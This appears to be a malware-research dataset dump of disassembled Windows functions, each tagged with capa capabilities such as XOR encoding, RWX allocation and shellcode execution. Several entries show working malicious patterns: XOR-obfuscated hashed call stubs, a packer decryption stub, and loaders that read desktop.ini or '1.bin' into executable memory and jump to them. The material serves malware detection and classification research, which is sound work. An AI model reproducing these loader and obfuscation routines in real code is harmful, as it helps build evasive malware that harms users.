joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43ead0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov ebp, dword [esp + 0x50]
mov ebx, dword [esp + 0x4c]
mov esi, dword [esp + 0x3c]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + eax + 2], 0
lea eax, [eax + 2]
jne 0x43eaf0
mov edi, eax
sar edi, 1
cmp edi, 0xfffffffb
jge 0x43eb0b
mov eax, 0xffffffff
jmp 0x43eb0e
add eax, 0xa
push eax
call fcn.00409550
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
mov word [eax + 8], 0
mov ecx, eax
add ecx, 8
movzx edx, word [esi]
test dx, dx
je 0x43eb51
add esi, 2
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x43eb40
mov word [ecx], 0
lea ecx, [edi*2 + 8]
mov word [esp + 8], cx
lea ecx, [edi*2 + 0xa]
mov word [esp + 0xa], cx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x1c], 0x40
lea ecx, [esp + 8]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp], 0x34353637
mov byte [esp + 4], 0
xor ecx, ecx
lea edx, [ecx + 4]
mov esi, 0xcb
sub esi, ecx
and esi, 0xc7
and edx, 8
or edx, esi
xor dl, byte [esp + ecx]
xor dl, 0xf7
add dl, 0xfc
mov byte [esp + ecx], dl
mov edx, ecx
and edx, 1
xor ecx, 0x79871ae9
lea ecx, [ecx + edx*2]
add ecx, 0x8678e518
cmp ecx, 5
jb 0x43ebb0
mov esi, dword [esp]
mov ecx, dword [0x44bcd0]
test ecx, ecx
je 0x43ec4f
xor edx, edx
mov edi, dword [0x44bcd4]
nop
cmp dword [edi + edx*8], 0xf6e92f34
je 0x43ec10
inc edx
cmp ecx, edx
jne 0x43ec00
jmp 0x43ec4f
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, esi
je 0x43ec4f
mov esi, esp
lea edx, [esp + 0x10]
push 0
push 0
push ebp
push ebx
push dword [esp + 0x58]
push dword [esp + 0x68]
push 0
push esi
push edx
push dword [esp + 0x68]
push dword [esp + 0x68]
push 0x2c
push ecx
push dword [0x44bcd8]
mov edi, eax
call fcn.0043c460
add esp, 0x38
mov esi, eax
mov eax, edi
push eax
call fcn.00409560
add esp, 4
mov eax, esi
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43ec70
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov edi, dword [esp + 0x4c]
mov esi, dword [esp + 0x3c]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + eax + 2], 0
lea eax, [eax + 2]
jne 0x43ec90
mov ebx, eax
sar ebx, 1
cmp ebx, 0xfffffffb
jge 0x43ecab
mov eax, 0xffffffff
jmp 0x43ecae
add eax, 0xa
push eax
call fcn.00409550
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
mov word [eax + 8], 0
mov ecx, eax
add ecx, 8
movzx edx, word [esi]
test dx, dx
je 0x43ecf1
add esi, 2
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x43ece0
mov word [ecx], 0
lea ecx, [ebx*2 + 8]
mov word [esp + 8], cx
lea ecx, [ebx*2 + 0xa]
mov word [esp + 0xa], cx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x1c], 0x40
lea ecx, [esp + 8]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp], 0x34353637
mov byte [esp + 4], 0
xor ecx, ecx
lea edx, [ecx + 4]
mov esi, 0xcb
sub esi, ecx
and esi, 0xc7
and edx, 8
or edx, esi
xor dl, byte [esp + ecx]
xor dl, 0xf7
add dl, 0xfc
mov byte [esp + ecx], dl
mov edx, ecx
and edx, 1
xor ecx, 0x79871ae9
lea ecx, [ecx + edx*2]
add ecx, 0x8678e518
cmp ecx, 5
jb 0x43ed50
mov esi, dword [esp]
mov ecx, dword [0x44bcd0]
test ecx, ecx
je 0x43edf4
xor edx, edx
mov ebx, dword [0x44bcd4]
nop
cmp dword [ebx + edx*8], 0x3174e150
je 0x43edc0
mov ebp, edx
xor ebp, 1
and edx, 1
lea edx, [edx*2]
add edx, ebp
cmp edx, ecx
jb 0x43eda0
jmp 0x43edf4
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, esi
je 0x43edf4
mov edx, esp
lea esi, [esp + 0x10]
push edi
push dword [esp + 0x4c]
push edx
push esi
push dword [esp + 0x54]
push dword [esp + 0x54]
push 0x18
push ecx
push dword [0x44bcd8]
mov edi, eax
call fcn.0043c460
add esp, 0x24
mov esi, eax
mov eax, edi
push eax
call fcn.00409560
add esp, 4
mov eax, esi
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43ee10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x50
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + eax + 2], 0
lea eax, [eax + 2]
jne 0x43ee30
mov ebx, eax
sar ebx, 1
cmp ebx, 0xfffffffb
jge 0x43ee4b
mov eax, 0xffffffff
jmp 0x43ee4e
add eax, 0xa
push eax
call fcn.00409550
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
mov word [eax + 8], 0
mov ecx, eax
add ecx, 8
movzx edx, word [esi]
test dx, dx
je 0x43ee91
add esi, 2
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x43ee80
mov word [ecx], 0
lea ecx, [ebx*2 + 8]
mov word [esp], cx
lea ecx, [ebx*2 + 0xa]
mov word [esp + 2], cx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], 0x40
mov ecx, esp
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0x34353637
mov byte [esp + 0x24], 0
xor ecx, ecx
nop
nop
lea edx, [ecx + 4]
mov esi, 0xcb
sub esi, ecx
and esi, 0xc7
and edx, 8
or edx, esi
xor dl, byte [esp + ecx + 0x20]
xor dl, 0xf7
add dl, 0xfc
mov byte [esp + ecx + 0x20], dl
mov edx, ecx
and edx, 1
xor ecx, 0x79871ae9
lea ecx, [ecx + edx*2]
add ecx, 0x8678e518
cmp ecx, 5
jb 0x43eef0
mov esi, dword [esp + 0x20]
mov ecx, dword [0x44bcd0]
test ecx, ecx
je 0x43ef89
xor edx, edx
mov ebx, dword [0x44bcd4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edx*8], 0x1ce638e1
je 0x43ef60
inc edx
cmp ecx, edx
jne 0x43ef50
jmp 0x43ef89
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, esi
je 0x43ef89
lea edx, [esp + 0x20]
lea esi, [esp + 8]
push edx
push esi
push 8
push ecx
push dword [0x44bcd8]
mov ebx, eax
call fcn.0043c460
add esp, 0x14
mov esi, eax
mov eax, ebx
push eax
call fcn.00409560
add esp, 4
test edi, edi
je 0x43ef9c
mov eax, dword [esp + 0x40]
mov dword [edi], eax
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43efb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x28
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
mov dword [esp], 0x34353637
mov byte [esp + 4], 0
xor eax, eax
lea edx, [eax + 4]
mov ecx, 0xcb
sub ecx, eax
and ecx, 0xc7
and edx, 8
or edx, ecx
xor dl, byte [esp + eax]
xor dl, 0xf7
add dl, 0xfc
mov byte [esp + eax], dl
mov ecx, eax
and ecx, 1
xor eax, 0x79871ae9
lea eax, [eax + ecx*2]
add eax, 0x8678e518
cmp eax, 5
jb 0x43efd0
mov eax, dword [esp]
mov edx, dword [0x44bcd0]
test edx, edx
je 0x43f058
xor ebx, ebx
mov ecx, dword [0x44bcd4]
nop
nop
nop
cmp dword [ecx + ebx*8], 0x9c142cda
je 0x43f030
inc ebx
cmp edx, ebx
jne 0x43f020
jmp 0x43f058
mov edx, dword [ecx + ebx*8 + 4]
cmp edx, eax
je 0x43f058
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0x18
push eax
push ecx
push dword [ebp + 8]
push 0x14
push edx
push dword [0x44bcd8]
call fcn.0043c460
add esp, 0x20
test edi, edi
je 0x43f062
mov ecx, dword [esp + 8]
mov dword [edi], ecx
test esi, esi
je 0x43f06e
cmp byte [esp + 0x15], 0
setne byte [esi]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43f080
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov esi, dword [esp + 0x30]
mov edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
mov dword [esp], 0x34353637
mov byte [esp + 4], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea ebx, [eax + 4]
mov edi, 0xcb
sub edi, eax
and edi, 0xc7
and ebx, 8
or ebx, edi
xor bl, byte [esp + eax]
xor bl, 0xf7
add bl, 0xfc
mov byte [esp + eax], bl
mov edi, eax
and edi, 1
xor eax, 0x79871ae9
lea eax, [eax + edi*2]
add eax, 0x8678e518
cmp eax, 5
jb 0x43f0b0
mov eax, dword [esp]
mov ebx, dword [0x44bcd0]
test ebx, ebx
je 0x43f13e
xor ebp, ebp
mov edi, dword [0x44bcd4]
nop
nop
nop
cmp dword [edi + ebp*8], 0x5b126fe8
je 0x43f110
inc ebp
cmp ebx, ebp
jne 0x43f100
jmp 0x43f13e
mov ebx, dword [edi + ebp*8 + 4]
cmp ebx, eax
je 0x43f13e
lea eax, [esp + 8]
push 0
push 0
push edx
push ecx
push eax
push 0
push 0
push 0
push dword [esp + 0x44]
push 0x24
push ebx
push dword [0x44bcd8]
call fcn.0043c460
add esp, 0x30
cmp eax, 0x103
jne 0x43f1e9
mov dword [esp], 0x34353637
mov byte [esp + 4], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea ecx, [eax + 4]
mov edx, 0xcb
sub edx, eax
and edx, 0xc7
and ecx, 8
or ecx, edx
xor cl, byte [esp + eax]
xor cl, 0xf7
add cl, 0xfc
mov byte [esp + eax], cl
mov ecx, eax
and ecx, 1
xor eax, 0x79871ae9
lea eax, [eax + ecx*2]
add eax, 0x8678e518
cmp eax, 5
jb 0x43f160
mov eax, dword [esp]
mov ecx, dword [0x44bcd0]
test ecx, ecx
je 0x43f1e1
xor edx, edx
mov edi, dword [0x44bcd4]
nop
nop
nop
cmp dword [edi + edx*8], 0x4c697c35
je 0x43f1c0
inc edx
cmp ecx, edx
jne 0x43f1b0
jmp 0x43f1e1
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je 0x43f1e1
push 0
push 0
push dword [esp + 0x2c]
push 0xc
push ecx
push dword [0x44bcd8]
call fcn.0043c460
add esp, 0x18
test eax, eax
js 0x43f1e9
mov eax, dword [esp + 8]
test esi, esi
je 0x43f1fc
xor ecx, ecx
cmp eax, 0xc0000011
je 0x43f1fa
mov ecx, dword [esp + 0xc]
mov dword [esi], ecx
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43f210
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov esi, dword [esp + 0x30]
mov edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
mov dword [esp], 0x34353637
mov byte [esp + 4], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea ebx, [eax + 4]
mov edi, 0xcb
sub edi, eax
and edi, 0xc7
and ebx, 8
or ebx, edi
xor bl, byte [esp + eax]
xor bl, 0xf7
add bl, 0xfc
mov byte [esp + eax], bl
mov edi, eax
and edi, 1
xor eax, 0x79871ae9
lea eax, [eax + edi*2]
add eax, 0x8678e518
cmp eax, 5
jb 0x43f240
mov eax, dword [esp]
mov ebx, dword [0x44bcd0]
test ebx, ebx
je 0x43f2ce
xor ebp, ebp
mov edi, dword [0x44bcd4]
nop
nop
nop
cmp dword [edi + ebp*8], 0xa2545bf7
je 0x43f2a0
inc ebp
cmp ebx, ebp
jne 0x43f290
jmp 0x43f2ce
mov ebx, dword [edi + ebp*8 + 4]
cmp ebx, eax
je 0x43f2ce
lea eax, [esp + 8]
push 0
push 0
push edx
push ecx
push eax
push 0
push 0
push 0
push dword [esp + 0x44]
push 0x24
push ebx
push dword [0x44bcd8]
call fcn.0043c460
add esp, 0x30
cmp eax, 0x103
jne 0x43f379
mov dword [esp], 0x34353637
mov byte [esp + 4], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea ecx, [eax + 4]
mov edx, 0xcb
sub edx, eax
and edx, 0xc7
and ecx, 8
or ecx, edx
xor cl, byte [esp + eax]
xor cl, 0xf7
add cl, 0xfc
mov byte [esp + eax], cl
mov ecx, eax
and ecx, 1
xor eax, 0x79871ae9
lea eax, [eax + ecx*2]
add eax, 0x8678e518
cmp eax, 5
jb 0x43f2f0
mov eax, dword [esp]
mov ecx, dword [0x44bcd0]
test ecx, ecx
je 0x43f371
xor edx, edx
mov edi, dword [0x44bcd4]
nop
nop
nop
cmp dword [edi + edx*8], 0x4c697c35
je 0x43f350
inc edx
cmp ecx, edx
jne 0x43f340
jmp 0x43f371
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je 0x43f371
push 0
push 0
push dword [esp + 0x2c]
push 0xc
push ecx
push dword [0x44bcd8]
call fcn.0043c460
add esp, 0x18
test eax, eax
js 0x43f379
mov eax, dword [esp + 8]
test esi, esi
je 0x43f383
mov ecx, dword [esp + 0xc]
mov dword [esi], ecx
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43f390
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [esp + 0x4c]
mov esi, dword [esp + 0x48]
mov edx, dword [esp + 0x44]
mov edi, dword [esp + 0x3c]
mov ebx, 0xfffffffe
nop
nop
nop
nop
cmp word [edi + ebx + 2], 0
lea ebx, [ebx + 2]
jne 0x43f3b0
sar ebx, 1
mov ecx, ebx
and ecx, 2
mov ebp, ebx
or ebx, 2
imul ebx, ecx
xor ecx, 2
and ebp, 0xfffd
imul ebp, ecx
lea ecx, [ebx + ebp]
mov word [esp + 8], cx
lea ecx, [ebx + ebp]
add ecx, 2
mov word [esp + 0xa], cx
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 0x18
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], 0x40
lea eax, [esp + 8]
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp], 0x34353637
mov byte [esp + 4], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea ebx, [eax + 4]
mov ecx, 0xcb
sub ecx, eax
and ecx, 0xc7
and ebx, 8
or ebx, ecx
xor bl, byte [esp + eax]
xor bl, 0xf7
add bl, 0xfc
mov byte [esp + eax], bl
mov ecx, eax
and ecx, 1
xor eax, 0x79871ae9
lea eax, [eax + ecx*2]
add eax, 0x8678e518
cmp eax, 5
jb 0x43f430
mov eax, dword [esp]
mov edi, dword [0x44bcd0]
test edi, edi
je 0x43f4b5
xor ebx, ebx
mov ebp, dword [0x44bcd4]
nop
nop
nop
cmp dword [ebp + ebx*8], 0x40915fe0
je 0x43f491
inc ebx
cmp edi, ebx
jne 0x43f480
jmp 0x43f4b5
mov edi, dword [ebp + ebx*8 + 4]
cmp edi, eax
je 0x43f4b5
lea eax, [esp + 0x10]
push esi
push eax
push edx
push dword [esp + 0x4c]
push 0x10
push edi
push dword [0x44bcd8]
call fcn.0043c460
add esp, 0x1c
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push str.Printers
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000118a
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011b5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x10001208
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x438c9e
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x438a14
sub ecx, 0xcc1b607c
sub esp, 4
mov dword [esp], 0xc2869648
pop ecx
call fcn.00438ce1
mov edx, 0xc8c5262f
xor dword [eax], esi
mov edx, 0xb1e08217
add edx, edx
mov edx, edx
inc eax
sub edx, 0x2687a18e
inc edx
cmp eax, edi
jne fcn.00438c9e
or edx, edx
dec ecx
ret
Function at 0x401f30
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x401f7b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x401f74
test esi, esi
je 0x401f74
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401f50
mov dword [esp], 0x408044
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402160
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4021b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x402288
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4021ee
cmp eax, 4
jne 0x402210
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4021fe
cmp edx, 4
je 0x4021fe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402160

Function at 0x432001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x432030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x400260
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x68]
push edi
push eax
mov dword [ebp - 0x68], 0x6e72656b
mov dword [ebp - 0x64], 0x32336c65
mov dword [ebp - 0x60], 0x6c6c642e
mov byte [ebp - 0x5c], 0
call esi
mov ebx, eax
mov dword [ebp - 0x34], 0x6c64746e
lea eax, [ebp - 0x34]
mov dword [ebp - 4], ebx
push eax
mov dword [ebp - 0x30], 0x6c642e6c
mov word [ebp - 0x2c], 0x6c
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x4c]
push eax
push ebx
mov dword [ebp - 0x4c], 0x61657243
mov dword [ebp - 0x48], 0x69466574
mov dword [ebp - 0x44], 0x41656c
call edi
mov dword [ebp - 8], eax
lea eax, [ebp - 0x58]
push eax
push ebx
mov dword [ebp - 0x58], 0x46746547
mov dword [ebp - 0x54], 0x53656c69
mov dword [ebp - 0x50], 0x657a69
call edi
mov esi, dword [ebp - 4]
mov ebx, eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x64616552
push eax
push esi
mov dword [ebp - 0x24], 0x656c6946
mov byte [ebp - 0x20], 0
call edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x40]
push eax
push esi
mov dword [ebp - 0x40], 0x70616548
mov dword [ebp - 0x3c], 0x6f6c6c41
mov word [ebp - 0x38], 0x63
call edi
mov esi, eax
mov dword [ebp - 0x78], 0x74726956
lea eax, [ebp - 0x78]
mov dword [ebp - 0x74], 0x506c6175
push eax
push dword [ebp - 4]
mov dword [ebp - 0x70], 0x65746f72
mov word [ebp - 0x6c], 0x7463
mov byte [ebp - 0x6a], 0
call edi
mov dword [ebp - 4], eax
xor eax, eax
push eax
push 0x80
push 3
push eax
push eax
push 0x80000000
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x69622e31
push eax
mov word [ebp - 0x18], 0x6e
call dword [ebp - 8]
mov edi, eax
push 0
push edi
call ebx
mov ebx, eax
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
push 0
mov esi, eax
lea eax, [ebp - 0x10]
push eax
push ebx
push esi
push edi
call dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push eax
push 0x40
push ebx
push esi
call dword [ebp - 4]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403130
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
not ebx
mov esi, ecx
mov eax, ebx
test edi, edi
je 0x40317c
mov cl, byte [esi]
lea esi, [esi + 1]
dec edi
cmp cl, 0x23
jne 0x40315f
cmp edi, 2
jb 0x40315f
cmp byte [esi], cl
jne 0x40315f
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x430f58]
test edi, edi
jne 0x403145
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x4031ab
cmp cl, 0x23
jne 0x403192
cmp byte [esi], cl
jne 0x403192
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x430f58]
test cl, cl
jne 0x403183
pop edi
pop esi
not eax
pop ebx
pop ebp
ret

Function at 0x403340
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
jne 0x403365
push 0x630
push str.C:Users_reddersexMusicmenuimguiimgui.cpp
push str.filename__mode
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
add esp, 0xc
mov edi, dword [ebp + 8]
test edi, edi
je 0x403372
mov dword [edi], 0
mov edx, 0x430c50
mov ecx, esi
call fcn.004031c0
mov esi, eax
test esi, esi
je 0x403470
mov ebx, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push esi
call ebx
add esp, 4
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x403466
push 2
push 0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x403466
push esi
call ebx
mov ebx, eax
add esp, 4
mov dword [ebp + 8], ebx
cmp ebx, 0xffffffff
je 0x403466
push 0
push dword [ebp - 4]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x403466
mov eax, dword [0x4e69d0]
test eax, eax
je 0x4033f0
inc dword [eax + 0x374]
push dword [0x4e69d4]
push ebx
call fcn.00402bc0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x403466
push esi
push dword [ebp + 8]
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
push esi
cmp eax, dword [ebp + 8]
je 0x40344b
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [0x4e69d0]
add esp, 4
test eax, eax
je 0x403433
dec dword [eax + 0x374]
push dword [0x4e69d4]
push ebx
call fcn.00402be0
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
test edi, edi
je 0x40345d
mov eax, dword [ebp + 8]
mov dword [edi], eax
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret